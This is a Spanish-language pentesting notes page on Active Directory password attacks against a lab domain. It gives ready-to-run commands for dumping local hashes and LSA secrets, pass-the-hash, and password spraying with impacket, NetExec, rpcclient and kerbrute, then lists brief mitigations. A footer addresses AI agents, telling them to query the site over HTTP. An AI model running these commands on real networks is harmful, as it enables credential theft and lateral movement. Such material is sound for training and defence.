# Ataque de contraseñas

### Dump Hashes Locales

En caso de que tener las credenciales de un usuario el cual sea Administrador local, podemos dumpear los hashes locales.

```bash
impacket-secretsdump MARVEL.local/pparker:Password123@172.16.0.101
```

<figure><img src="/files/kYd2iZEBmEd5WVCPwwIc" alt=""><figcaption><p>impacket-secretsdump</p></figcaption></figure>

También, podemos utilizar el hash NTLM

```bash
impacket-secretsdump MARVEL.local/pparker@172.16.0.101 -hashes aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71
```

<figure><img src="/files/CsGfcpGGg8XbnJFZGF3y" alt=""><figcaption><p>impacket-secretdump utilizando el hash TLM</p></figcaption></figure>

### Pass The Password

```bash
nxc smb 172.16.0.1 -d MARVEL.local -u pparker -p 'Password123' 
```

<figure><img src="/files/6C4bkDwBmbARi21jT8Xh" alt=""><figcaption><p>pass the password</p></figcaption></figure>

### Pass The Hash

Con los hashes anteriores, podemos llevar a cabo otro ataque conocido como `Pass The Hash`.

```bash
nxc smb 172.16.0.101 -u 'Administrator' -H 'aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71'
```

<figure><img src="/files/YcpZEouO2VpHKQzLqjT9" alt=""><figcaption></figcaption></figure>

### Dump LSA

```bash
nxc smb 172.16.0.101 -u 'Administrator' -H 'aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71' --lsa
```

<figure><img src="/files/4nXsqtXte6PQ9Lw0eDY9" alt=""><figcaption><p>Dump LSA</p></figcaption></figure>

### Password Spraying

En contraste con un ataque de fuerza bruta convencional, donde se intentan muchas contraseñas diferentes para una sola cuenta de usuario, el password spraying implica intentar un conjunto limitado de contraseñas en múltiples cuentas de usuario. Esto se hace para evitar la detección de bloqueo de cuenta, ya que la tasa de intentos de inicio de sesión fallidos para cada cuenta es baja.

El password spraying aprovecha la tendencia de los usuarios a elegir contraseñas débiles o comunes, así como la reutilización de contraseñas entre múltiples cuentas. Los atacantes pueden obtener listas de cuentas de usuario de manera legítima o mediante técnicas de recopilación de información, y luego intentar iniciar sesión en estas cuentas utilizando contraseñas comunes o basadas en diccionarios.

### Pulverización de contraseñas desde Linux

Una vez que hemos creado una lista de usuarios validos, es hora de ejecutar el ataque. **Rpcclient** es una excelente opción para realizar este ataque desde Linux. Una consideración importante es que un login válido no es inmediatamente aparente con rpcclient, con la respuesta Authority Name indicando un login exitoso. Podemos filtrar los intentos de inicio de sesión no válidos buscando Authority en la respuesta. El siguiente Bash one-liner (adaptado de aquí) puede ser usado para realizar el ataque.

#### **rpcclient**

```bash
for u in $(cat valid_ad_users.txt); do rpcclient -U "$u%Password123" -c "getusername;quit" 172.16.0.1 | grep Authority; done
```

#### **kerbrute**

```bash
 kerbrute passwordspray -d MARVEL.local --dc 172.16.0.1 valid_ad_users.txt 'Password123'
```

#### **Netexec**

```bash
nxc smb 172.16.0.1 -u valid_ad_users.txt -p 'Password123' | grep +
```

### Mitigación

* Limitar la reutilización de cuentas
  * Evitar reutilizar contraseñas de Administrador locales.
  * Deshabilitar las cuentas de Invitado (Guest) y Administrador locales.
  * Limitar quien es Administrador local.
* Utilizar contraseñas robustas.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://d4redevil.gitbook.io/d4redevil/active-directory/ataque-de-contrasenas.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
